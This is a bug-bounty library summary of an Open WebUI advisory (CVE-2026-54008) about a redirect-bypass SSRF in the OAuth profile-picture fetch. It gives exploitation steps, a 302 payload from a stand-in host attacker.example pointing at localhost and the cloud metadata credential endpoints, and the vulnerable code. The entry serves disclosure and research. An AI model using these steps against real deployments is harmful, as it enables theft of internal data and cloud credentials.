# Open WebUI: Redirect-Bypass SSRF in OAuth `_process_picture_url` (incomplete-fix sibling of CVE-2026-45401)

Open WebUI's OAuth picture-URL fetch validated only the initial URL, so a 302 to internal addresses yielded full-read SSRF into the attacker's profile_image_url.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: matte1782
- Disclosed: 2026-06-17
- CVE: CVE-2026-54008
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-226f-f24g-524w
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-226f-f24g-524w
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:oauth tech:python technique:chained technique:incomplete-fix technique:source-review vuln:open-redirect vuln:ssrf

**Target:** OAuth profile picture URL fetch (_process_picture_url) in backend/open_webui/utils/oauth.py
**Root cause:** validate_url() is applied only to the initial picture_url, then aiohttp session.get follows redirects by default (allow_redirects=True, max_redirects=10) without re-validating each Location target; the AIOHTTP_CLIENT_ALLOW_REDIRECTS constant used on the five CVE-2026-45401 paths is not imported here.
**Steps:**
1. Host a public redirect endpoint, e.g. `http://attacker.example/r`, returning `HTTP/1.1 302 Found` with `Location: http://127.0.0.1:11434/api/tags` (or `http://169.254.169.254/latest/meta-data/iam/security-credentials/`).
2. Set the IdP `picture` claim to `http://attacker.example/r`.
3. Sign in to open-webui via OAuth with ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true; `_process_picture_url` calls `validate_url(picture_url)` which passes for the public IP.
4. `session.get(picture_url, ...)` follows the 302 server-side with no re-validation; internal body is read, base64-encoded, stored as `profile_image_url = "data:image/jpeg;base64,..."`.
5. Read back via `GET /api/v1/auths/` and base64-decode to obtain the internal response body.
**How found:** Reporter audited the v0.9.5 patch for CVE-2026-45401, noted its advisory enumerated exactly five fixed call sites, and grepped for other aiohttp get sinks lacking allow_redirects=False; found utils/oauth.py::_process_picture_url as a sixth sink that validates only the initial URL and doesn't import AIOHTTP_CLIENT_ALLOW_REDIRECTS.
**Exploitation:** Attacker with any valid OAuth IdP identity points their picture claim at a public redirector; aiohttp follows the 302 to localhost/RFC1918/metadata endpoints, and the fetched body is persisted as the attacker's profile image data URI, exfiltrating it via GET /api/v1/auths/. PoC against v0.9.5 Docker compose returned sentinel `SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09` byte-for-byte from an internal canary.
**Escalation:** Target selection escalates from localhost services (Ollama :11434) to cloud metadata (AWS IMDSv1, GCP, Azure IMDS) for IAM credentials and managed-identity tokens, plus RFC1918 internal infra.
**Insight:** When a redirect-bypass SSRF fix lands, enumerate every aiohttp/requests get sink in the repo and diff which ones import the new allow-redirects constant; sinks in auth/OAuth modules are commonly missed because they're outside the retrieval/loader code the advisory names.

## Proof of concept (copied exactly from the original report)

**Vulnerable _process_picture_url code without allow_redirects**

```
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)                              # initial URL only

        get_kwargs = {}
        if access_token:
            get_kwargs['headers'] = {'Authorization': f'Bearer {access_token}'}
        async with aiohttp.ClientSession(trust_env=True) as session:
            async with session.get(picture_url, **get_kwargs,
                                   ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            #                       ^^^^^^^^^^^ no allow_redirects=False
                if resp.ok:
                    picture = await resp.read()
                    base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
                    if guessed_mime_type is None:
                        guessed_mime_type = 'image/jpeg'
                    return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'
```

**302 redirect to internal target payload**

```
attacker.example responds `HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags`. (Or `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, RFC1918 internal services, etc.)
```

